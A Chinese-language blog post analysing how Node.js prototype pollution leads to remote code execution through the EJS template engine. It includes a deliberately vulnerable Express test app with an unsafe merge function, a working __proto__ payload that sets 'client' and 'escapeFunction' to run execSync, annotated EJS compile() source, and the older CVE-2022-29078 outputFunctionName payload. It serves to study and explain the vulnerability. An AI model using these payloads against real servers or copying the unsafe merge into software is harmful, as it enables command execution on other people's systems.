需要先理解原型链污染 可以看这篇 浅析CTF中的Node.js原型链污染

环境搭建

1
2
npm install express
npm install ejs@3.1.9

测试代码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const express = require('express');
const ejs = require('ejs');
const app = express();

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}


app.set('views', __dirname);
app.set('view engine', 'ejs');

var malicious_payload = '{"__proto__":{"client":true, "escapeFunction":"1; return global.process.mainModule.require(\'child_process\').execSync(\'ls\')"}}';
merge({}, JSON.parse(malicious_payload));
app.all('/', (req, res) => {
return res.render('./views/diary.ejs', {diary: "diary"});
})

app.listen(4427, '0.0.0.0');

diary.ejs

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= diary%></h1>
</body>
</html>

启动后跟进调试 调用链条:res.render() -> app.render() -> tryRender() -> view.render() -> View.engine() -> tryHandleCache() -> handleCache() -> exports.compile() -> templ.compile()

ejs.js compile中为核心渲染逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
compile: function() {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
/** @type {string} */
var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
/***************************************************
这里对outputFunctionName进行检测
_JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
相当于只能存在字母数字下划线和$ 且不以数字开头
***************************************************/
if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
throw new Error('outputFunctionName is not a valid JS identifier.');
}
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) {
throw new Error('localsName is not a valid JS identifier.');
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (!_JS_IDENTIFIER.test(name)) {
throw new Error('destructuredLocals[' + i + '] is not a valid JS identifier.');
}
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}

if (opts.compileDebug) {
src = 'var __line = 1' + '\n' +
' , __lines = ' + JSON.stringify(this.templateText) + '\n' +
' , __filename = ' + sanitizedFilename + ';' + '\n' +
'try {' + '\n' +
this.source +
'} catch (e) {' + '\n' +
' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n' +
'}' + '\n';
} else {
src = this.source;
}

if (opts.client) {
/***************************************************
opts.client为true才会进入逻辑 因此原型链污染还要污染client
这里没有对escapeFn进行检测 且用于构造代码
第10行有 var escapeFn = opts.escapeFunction; 则也可通过原型链污染控制
***************************************************/
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
if (opts.compileDebug && opts.filename) {
src = src + '\n' +
'//# sourceURL=' + sanitizedFilename + '\n';
}

try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
} catch (e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
} else {
throw e;
}
}
} else {
ctor = Function;
}
/***************************************************
利用src构造函数
***************************************************/
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
} catch (e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!opts.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass `async: true` as an option.';
}
}
throw e;
}

// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = opts.client ? fn : function anonymous(data) {
var include = function(path, includeData) {
var d = utils.shallowCopy(utils.createNullProtoObjWherePossible(), data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context,
[data || utils.createNullProtoObjWherePossible(), escapeFn, include, rethrow]);
};
if (opts.filename && typeof Object.defineProperty === 'function') {
var filename = opts.filename;
var basename = path.basename(filename, path.extname(filename));
try {
Object.defineProperty(returnedFn, 'name', {
value: basename,
writable: false,
enumerable: false,
configurable: true
});
} catch (e) {
/* ignore */ }
}
return returnedFn;
}

最终拼接构造完的函数会返回并被调用 进而实现命令执行

补充

也即 CVE-2022-29078
ejs<=3.1.6中没有对outputFunctionName进行检测 因此可以直接对其注入payload

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('ls');var __tmp2"}}

参考链接

原型链污染配合ejs模板引擎RCE分析

⬆︎TOP